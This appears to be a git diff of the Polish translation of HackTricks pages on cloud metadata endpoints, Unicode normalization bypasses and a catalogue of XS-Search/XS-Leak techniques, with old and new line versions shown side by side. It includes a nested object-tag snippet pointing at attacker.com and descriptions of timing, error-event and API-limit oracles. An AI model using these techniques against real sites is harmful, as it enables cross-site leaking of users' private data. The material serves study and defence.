Dokumentacja dotycząca usług metadanych różnych platform jest przedstawiona poniżej, podkreślając metody, za pomocą których można uzyskać dostęp do informacji konfiguracyjnych i uruchomieniowych dla instancji. Każda platforma oferuje unikalne punkty końcowe do uzyskania dostępu do swoich usług metadanych.
Dokumentacja dotycząca usług metadanych różnych platform jest przedstawiona poniżej, podkreślając metody, dzięki którym można uzyskać informacje o konfiguracji i czasie działania instancji. Każda platforma oferuje unikalne punkty końcowe do uzyskania dostępu do swoich usług metadanych.
## Packetcloud
@ -543,7 +556,7 @@ Aby uzyskać dostęp do metadanych Packetcloud, dokumentację można znaleźć p
## OpenStack/RackSpace
Konieczność nagłówka nie jest tutaj wspomniana. Metadane można uzyskać przez:
Konieczność nagłówka nie jest wspomniana. Metadane można uzyskać przez:
- `http://169.254.169.254/openstack`

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
**To jest podsumowanie:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Sprawdź to dla dalszych szczegółów (obrazy wzięte stamtąd).
**To jest podsumowanie:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Sprawdź szczegóły (obrazy pochodzą stamtąd).
## Zrozumienie Unicode i Normalizacji
@ -93,7 +93,7 @@ Zauważ, że na przykład pierwszy proponowany znak Unicode można wysłać jako
Kiedy backend **sprawdza dane wejściowe użytkownika za pomocą regex**, może być możliwe, że **wejście** jest **normalizowane** dla **regex**, ale **nie** dla miejsca, w którym jest **używane**. Na przykład, w przypadku Open Redirect lub SSRF regex może **normalizować wysłany URL**, ale następnie **uzyskiwać do niego dostęp tak, jak jest**.
Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* pozwala na **generowanie wariacji wejścia** w celu fuzzowania backendu. Po więcej informacji sprawdź **github** i ten [**post**](https://0xacb.com/2022/11/21/recollapse/).
Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) pozwala na **generowanie wariacji wejścia** w celu fuzzowania backendu. Po więcej informacji sprawdź **github** i ten [**post**](https://0xacb.com/2022/11/21/recollapse/).
## Unicode Overflow

View File

@ -4,23 +4,23 @@
## Podstawowe informacje
XS-Search to metoda używana do **ekstrakcji informacji międzydomenowych** poprzez wykorzystanie **wrażliwości kanałów bocznych**.
XS-Search to metoda używana do **ekstrakcji informacji z różnych źródeł** poprzez wykorzystanie **wrażliwości kanałów bocznych**.
Kluczowe komponenty zaangażowane w ten atak obejmują:
Kluczowe komponenty zaangażowane w ten atak to:
- **Wrażliwa strona internetowa**: Docelowa strona, z której zamierzane jest wydobycie informacji.
- **Strona atakującego**: Złośliwa strona stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
- **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony Internetowej do Strony Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.).
- **Wrażliwa strona internetowa**: Docelowa strona, z której zamierzamy wyodrębnić informacje.
- **Strona internetowa atakującego**: Złośliwa strona stworzona przez atakującego, którą odwiedza ofiara, hostująca exploit.
- **Metoda włączenia**: Technika stosowana do włączenia Wrażliwej Strony Internetowej do Strony Internetowej Atakującego (np. window.open, iframe, fetch, tag HTML z href itp.).
- **Technika wycieku**: Techniki używane do rozróżnienia różnic w stanie Wrażliwej Strony Internetowej na podstawie informacji zebranych za pomocą metody włączenia.
- **Stany**: Dwa potencjalne warunki Wrażliwej Strony Internetowej, które atakujący ma na celu odróżnienie.
- **Stany**: Dwa potencjalne warunki Wrażliwej Strony Internetowej, które atakujący stara się rozróżnić.
- **Wykrywalne różnice**: Obserwowalne różnice, na których atakujący polega, aby wywnioskować stan Wrażliwej Strony Internetowej.
### Wykrywalne różnice
Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony Internetowej:
- **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** międzydomenowo, takimi jak błędy serwera, błędy klienta czy błędy autoryzacji.
- **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona międzydomenowa korzysta z konkretnego JavaScript Web API.
- **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** z różnych źródeł, takimi jak błędy serwera, błędy klienta czy błędy autoryzacji.
- **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona z innego źródła korzysta z konkretnego JavaScript Web API.
- **Przekierowania**: Wykrywanie nawigacji do różnych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML.
- **Zawartość strony**: Obserwowanie **różnic w treści odpowiedzi HTTP** lub w podzasobach strony, takich jak **liczba osadzonych ramek** lub różnice w rozmiarze obrazów.
- **Nagłówek HTTP**: Zauważenie obecności lub ewentualnie wartości **konkretnego nagłówka odpowiedzi HTTP**, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
@ -28,19 +28,19 @@ Kilka aspektów można analizować, aby odróżnić stany Wrażliwej Strony Inte
### Metody włączenia
- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów międzydomenowych**, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilacja potencjalnych elementów HTML do tego celu znajduje się pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed ramkowaniem**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
- **Okna podręczne**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Okna podręczne, często używane w jednolitym logowaniu, omijają ograniczenia ramkowania i ciasteczek zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie okien podręcznych do określonych działań użytkownika.
- **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład wybierając śledzenie przekierowań HTTP.
- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów z różnych źródeł**, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilacja potencjalnych elementów HTML do tego celu znajduje się pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed ramkami**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
- **Pop-upy**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Pop-upy, często używane w jednolitym logowaniu, omijają ograniczenia ramkowe i ciasteczkowe zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie pop-upów do określonych działań użytkownika.
- **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład wybierając, czy podążać za przekierowaniami HTTP.
### Techniki wycieku
- **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługiwacze zdarzeń, takie jak **onload** i **onerror**, dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobów.
- **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługi zdarzeń takie jak **onload** i **onerror** dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobów.
- **Komunikaty o błędach**: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku, zarówno bezpośrednio z komunikatu o błędzie, jak i poprzez rozróżnienie między jego obecnością a brakiem.
- **Globalne ograniczenia**: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone ograniczenia przeglądarki, mogą sygnalizować, kiedy osiągnięto próg, służąc jako technika wycieku.
- **Stan globalny**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek dotyczących stron międzydomenowych.
- **API wydajności**: To API dostarcza **szczegóły wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioski na temat żądanych zasobów.
- **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne międzydomenowo** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej międzydomenowo.
- **Globalny stan**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek o stronach z różnych źródeł.
- **API wydajności**: To API dostarcza **szczegóły wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioski o żądanych zasobach.
- **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne z różnych źródeł** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej z różnych źródeł.
## Narzędzie XSinator i dokument
@ -49,7 +49,7 @@ XSinator to automatyczne narzędzie do **sprawdzania przeglądarek pod kątem ki
Możesz **uzyskać dostęp do narzędzia pod adresem** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING]
> **Wykluczone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **workerach serwisowych**, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład, błędne konfiguracje Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy XS-Leaks oparte na czasie, ponieważ często cierpią na wolność, hałas i niedokładność.
> **Wykluczone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **workerach serwisowych**, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład, błędne konfiguracje Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy czasowe XS-Leaks, ponieważ często cierpią na wolność, hałas i niedokładność.
## **Techniki oparte na czasie**
@ -73,7 +73,7 @@ Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt
xs-search/cookie-bomb-+-onerror-xs-leak.md
{{#endref}}
Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, dźwięki mogą być również używane. Ponadto możliwe jest również wstrzyknięcie **tagu bezpośrednio** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwać je z JS).
Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, audio mogą być również używane. Ponadto możliwe jest również wstrzyknięcie **tagu bezpośrednio** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwać je z JS).
Istnieje również wersja tego ataku bez skryptów:
```html
@ -81,14 +81,14 @@ Istnieje również wersja tego ataku bez skryptów:
<object data="//attacker.com/?error"></object>
</object>
```
W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana zostanie `attacker.com/?error`.
W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana zostanie strona `attacker.com/?error`.
### Czas ładowania
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **Podsumowanie:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** może być używane do pomiaru, ile czasu zajmuje wykonanie żądania. Jednak inne zegary mogą być używane, takie jak [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), które mogą identyfikować zadania trwające dłużej niż 50 ms.
- **Podsumowanie:** API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **może być używane do mierzenia, ile czasu zajmuje wykonanie żądania.** Jednak inne zegary mogą być używane, takie jak [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), które mogą identyfikować zadania trwające dłużej niż 50 ms.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) inny przykład w:
{{#ref}}
@ -108,35 +108,35 @@ xs-search/performance.now-+-force-heavy-task.md
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **Podsumowanie:** Zegar [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) może być używany do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
- **Podsumowanie:** Zegar [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) może być używany do mierzenia, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) i [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Zdarzenie **`beforeunload`** jest wywoływane, gdy przeglądarka ma zamiar przejść do nowej strony, podczas gdy zdarzenie **`unload`** występuje, gdy nawigacja faktycznie ma miejsce. Różnicę czasową między tymi dwoma zdarzeniami można obliczyć, aby określić **czas, jaki przeglądarka spędziła na pobieraniu zasobu**.
Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) i [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Zdarzenie **`beforeunload`** jest wywoływane, gdy przeglądarka ma zamiar przejść do nowej strony, podczas gdy zdarzenie **`unload`** występuje, gdy nawigacja faktycznie ma miejsce. Różnicę czasu między tymi dwoma zdarzeniami można obliczyć, aby określić **czas, jaki przeglądarka spędziła na pobieraniu zasobu**.
### Czas ramki w piaskownicy + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
### Czas ramki w trybie piaskownicy + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **Podsumowanie:** API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) może być używane do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
- **Podsumowanie:** API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) może być używane do mierzenia, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Zaobserwowano, że w przypadku braku [Ochrony Ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej zasobów podrzędnych przez sieć może być mierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ handler `onload` iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonania JavaScriptu. Aby obejść zmienność wprowadzoną przez wykonanie skryptu, atakujący może zastosować atrybut [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) w `<iframe>`. Włączenie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie JavaScriptu, co ułatwia pomiar, który jest głównie wpływany przez wydajność sieci.
Zaobserwowano, że w przypadku braku [Ochrony Ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej zasobów podrzędnych przez sieć może być mierzony przez atakującego. To pomiar jest zazwyczaj możliwy, ponieważ handler `onload` iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonania JavaScriptu. Aby obejść zmienność wprowadzoną przez wykonanie skryptu, atakujący może zastosować atrybut [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) w `<iframe>`. Włączenie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie JavaScriptu, co ułatwia pomiar, który jest głównie wpływany przez wydajność sieci.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**:
- **Podsumowanie**: Jeśli możesz spowodować błąd na stronie, gdy dostępna jest poprawna zawartość, i sprawić, że załaduje się poprawnie, gdy dostępna jest jakakolwiek zawartość, możesz stworzyć pętlę do wyodrębnienia wszystkich informacji bez mierzenia czasu.
- **Przykład kodu**:
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**:
- **Summary**: Jeśli możesz spowodować błąd na stronie, gdy dostępna jest poprawna zawartość, i sprawić, że załaduje się poprawnie, gdy dostępna jest jakakolwiek zawartość, możesz stworzyć pętlę do wyodrębnienia wszystkich informacji bez mierzenia czasu.
- **Code Example**:
Załóżmy, że możesz **wstawić** **stronę**, która ma **tajną** zawartość **w ramce Iframe**.
Załóżmy, że możesz **wstawić** **stronę**, która ma **tajną** zawartość **w obrębie Iframe**.
Możesz **sprawić, że ofiara będzie szukać** pliku, który zawiera "_**flag**_" używając **Iframe** (na przykład wykorzystując CSRF). Wewnątrz Iframe wiesz, że _**zdarzenie onload**_ będzie **wykonywane zawsze przynajmniej raz**. Następnie możesz **zmienić** **URL** **iframe**, zmieniając tylko **zawartość** **hash** w URL.
Możesz **sprawić, że ofiara wyszuka** plik, który zawiera "_**flag**_" używając **Iframe** (na przykład wykorzystując CSRF). Wewnątrz Iframe wiesz, że _**zdarzenie onload**_ będzie **wykonywane zawsze przynajmniej raz**. Następnie możesz **zmienić** **URL** **iframe**, zmieniając tylko **zawartość** **hash** w URL.
Na przykład:
@ -147,13 +147,13 @@ Jeśli pierwszy URL został **pomyślnie załadowany**, to, gdy **zmienisz** cz
Wtedy możesz **rozróżnić** między **poprawnie** załadowaną stroną a stroną, która ma **błąd** podczas dostępu.
### Wykonanie Javascript
### Javascript Execution
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**:
- **Podsumowanie:** Jeśli **strona** **zwraca** **wrażliwą** zawartość, **lub** zawartość, którą można **kontrolować** przez użytkownika. Użytkownik mógłby ustawić **ważny kod JS w negatywnym przypadku**, **ładując** każdy próbę wewnątrz **`<script>`** tagów, więc w **negatywnych** przypadkach kod **atakującego** jest **wykonywany**, a w **pozytywnych** przypadkach **nic** nie zostanie wykonane.
- **Przykład kodu:**
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**:
- **Summary:** Jeśli **strona** **zwraca** **wrażliwą** zawartość, **lub** zawartość, która może być **kontrolowana** przez użytkownika. Użytkownik może ustawić **ważny kod JS w negatywnym przypadku**, **ładując** każdą próbę wewnątrz **`<script>`** tagów, więc w **negatywnych** przypadkach kod **atakującego** jest **wykonywany**, a w **pozytywnych** przypadkach **nic** nie zostanie wykonane.
- **Code Example:**
{{#ref}}
xs-search/javascript-execution-xs-leak.md
@ -161,98 +161,98 @@ xs-search/javascript-execution-xs-leak.md
### CORB - Onerror
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Kod statusu i nagłówki
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Podsumowanie**: **Cross-Origin Read Blocking (CORB)** to środek bezpieczeństwa, który zapobiega ładowaniu przez strony internetowe niektórych wrażliwych zasobów z innych źródeł, aby chronić przed atakami takimi jak **Spectre**. Jednak atakujący mogą wykorzystać jego ochronne zachowanie. Gdy odpowiedź podlegająca **CORB** zwraca _**chroniony przez CORB**_ `Content-Type` z `nosniff` i kodem statusu `2xx`, **CORB** usuwa treść odpowiedzi i nagłówki. Atakujący obserwujący to mogą wywnioskować kombinację **kodu statusu** (wskazującego na sukces lub błąd) i `Content-Type` (oznaczającego, czy jest chroniony przez **CORB**), co prowadzi do potencjalnego wycieku informacji.
- **Przykład kodu**:
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code & Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)** to środek bezpieczeństwa, który zapobiega ładowaniu przez strony internetowe niektórych wrażliwych zasobów z innych źródeł, aby chronić przed atakami takimi jak **Spectre**. Jednak atakujący mogą wykorzystać jego ochronne zachowanie. Gdy odpowiedź podlegająca **CORB** zwraca _**chroniony przez CORB**_ `Content-Type` z `nosniff` i kodem statusu `2xx`, **CORB** usuwa treść i nagłówki odpowiedzi. Atakujący, obserwując to, mogą wywnioskować kombinację **kodu statusu** (wskazującego na sukces lub błąd) i `Content-Type` (oznaczającego, czy jest chroniony przez **CORB**), co prowadzi do potencjalnego wycieku informacji.
- **Code Example:**
Sprawdź link z więcej informacjami, aby uzyskać więcej informacji na temat ataku.
Sprawdź link z dodatkowymi informacjami, aby uzyskać więcej informacji na temat ataku.
### onblur
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
- **Podsumowanie**: Wycieki wrażliwych danych z atrybutu id lub name.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
- **Summary**: Wycieki wrażliwych danych z atrybutu id lub name.
- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
Możliwe jest **załadowanie strony** wewnątrz **iframe** i użycie **`#id_value`**, aby skupić stronę na elemencie iframe z wskazanym id, a następnie, jeśli zostanie wywołany sygnał **`onblur`**, element ID istnieje.\
Możesz przeprowadzić ten sam atak z tagami **`portal`**.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
- **Podsumowanie**: Zbieranie wrażliwych informacji z postMessage lub użycie obecności postMessages jako orakula do poznania statusu użytkownika na stronie
- **Przykład kodu**: `Jakikolwiek kod nasłuchujący wszystkie postMessages.`
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Usage
- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
- **Summary**: Zbieraj wrażliwe informacje z postMessage lub użyj obecności postMessages jako orakula, aby poznać status użytkownika na stronie
- **Code Example**: `Any code listening for all postMessages.`
Aplikacje często wykorzystują [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) do komunikacji między różnymi źródłami. Jednak ta metoda może nieumyślnie ujawniać **wrażliwe informacje**, jeśli parametr `targetOrigin` nie jest odpowiednio określony, co pozwala każdemu oknu na odbieranie wiadomości. Ponadto sam akt odbierania wiadomości może działać jako **orakulum**; na przykład, niektóre wiadomości mogą być wysyłane tylko do użytkowników, którzy są zalogowani. Dlatego obecność lub brak tych wiadomości może ujawniać informacje o stanie lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni, czy nie.
Aplikacje często wykorzystują [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) do komunikacji między różnymi źródłami. Jednak ta metoda może nieumyślnie ujawniać **wrażliwe informacje**, jeśli parametr `targetOrigin` nie jest prawidłowo określony, co pozwala każdemu oknu na odbieranie wiadomości. Ponadto sam akt odbierania wiadomości może działać jako **orakulum**; na przykład, niektóre wiadomości mogą być wysyłane tylko do użytkowników, którzy są zalogowani. Dlatego obecność lub brak tych wiadomości może ujawniać informacje o stanie lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni, czy nie.
## Techniki Global Limits
## Global Limits Techniques
### WebSocket API
- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Podsumowanie**: Wyciekanie liczby połączeń WebSocket strony z innego źródła poprzez wyczerpanie limitu połączeń WebSocket.
- **Przykład kodu**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Wyczerpanie limitu połączeń WebSocket ujawnia liczbę połączeń WebSocket strony z innego źródła.
- **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
Możliwe jest zidentyfikowanie, czy i ile **połączeń WebSocket używa strona docelowa**. Pozwala to atakującemu na wykrycie stanów aplikacji i wyciek informacji związanych z liczbą połączeń WebSocket.
Jeśli jedno **źródło** używa **maksymalnej liczby obiektów połączeń WebSocket**, niezależnie od stanu ich połączeń, utworzenie **nowych obiektów spowoduje wyjątki JavaScript**. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w pop-upie lub iframe, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę możliwych połączeń WebSocket. **Liczba zgłoszonych wyjątków** to **liczba połączeń WebSocket używanych przez okno strony docelowej**.
Jeśli jedno **źródło** używa **maksymalnej liczby obiektów połączeń WebSocket**, niezależnie od stanu ich połączeń, utworzenie **nowych obiektów spowoduje wyjątki JavaScript**. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w oknie pop-up lub iframe, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę możliwych połączeń WebSocket. **Liczba zgłoszonych wyjątków** to **liczba połączeń WebSocket używanych przez okno strony docelowej**.
### Payment API
- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Podsumowanie**: Wykrywanie żądania płatności, ponieważ tylko jedno może być aktywne w danym czasie.
- **Przykład kodu**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Wykryj żądanie płatności, ponieważ tylko jedno może być aktywne w danym czasie.
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
Ten XS-Leak umożliwia atakującemu **wykrycie, kiedy strona z innego źródła inicjuje żądanie płatności**.
